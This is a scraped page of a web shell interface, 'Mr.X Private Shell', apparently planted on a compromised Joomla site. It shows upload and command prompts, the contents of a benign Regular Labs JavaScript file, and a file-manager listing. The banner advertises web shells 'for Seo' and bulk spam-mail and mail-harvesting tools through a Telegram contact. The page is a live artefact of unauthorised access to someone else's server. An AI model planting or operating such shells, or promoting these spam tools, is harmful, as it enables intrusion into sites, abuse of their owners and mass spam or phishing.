__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/**
 * @package         Regular Labs Library
 * @version         25.6.10828
 * 
 * @author          Peter van Westen <[email protected]>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2025 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

(function() {
    'use strict';

    document.querySelectorAll('rl-field-simple-category').forEach((simplecategory) => {
        const fancy_select = simplecategory.querySelector('joomla-field-fancy-select');
        const select       = simplecategory.querySelector('select');
        const input        = simplecategory.querySelector('input.choices__input');

        if ( ! fancy_select || ! select || ! input) {
            return;
        }

        const choices = fancy_select.choicesInstance;

        // fancy_select.addEventListener('change', () => {
        //     const new_category = input.value;
        //     select.add(new Option(new_category, new_category));
        //     select.value = new_category;
        //     console.log('----');
        //     console.log(select.value);
        //     choices.clearInput();
        // });

        input.addEventListener('change', (event) => {
            choices.clearInput();
        });

        input.addEventListener('keyup', (event) => {
            if (event.keyCode !== 13) {
                return;
            }

            choices.clearInput();
        });

        const setNewCategory = (() => {
            const new_category = input.value;
            choices.clearInput();

            if ( ! new_category.length) {
                return;
            }

            const new_option = new Option(new_category, new_category);

            select.add(new_option);
            select.value = new_category;

            choices._addChoice(new_option);
            choices._triggerChange(new_category);
            choices.setChoiceByValue(new_category);
            choices.clearInput();
        });
    });
})();

Filemanager

Name Type Size Permission Actions
LICENCE File 1.09 KB 0664
README.md File 11.05 KB 0664
admin-form-descriptions.js File 4.42 KB 0664
admin-form-descriptions.min.js File 2.85 KB 0664
admin-form.js File 10.75 KB 0664
admin-form.min.js File 6.73 KB 0664
downloadkey.js File 12.21 KB 0664
downloadkey.min.js File 7.05 KB 0664
mini-colors.js File 16.69 KB 0664
mini-colors.min.js File 8.75 KB 0664
regular.js File 19.62 KB 0664
regular.min.js File 7.43 KB 0664
script.js File 4.91 KB 0664
script.min.js File 2.27 KB 0664
simplecategory.js File 1.97 KB 0664
simplecategory.min.js File 1019 B 0664
textarea.js File 1.57 KB 0664
textarea.min.js File 960 B 0664
treeselect.js File 8.79 KB 0664
treeselect.min.js File 5.27 KB 0664
Filemanager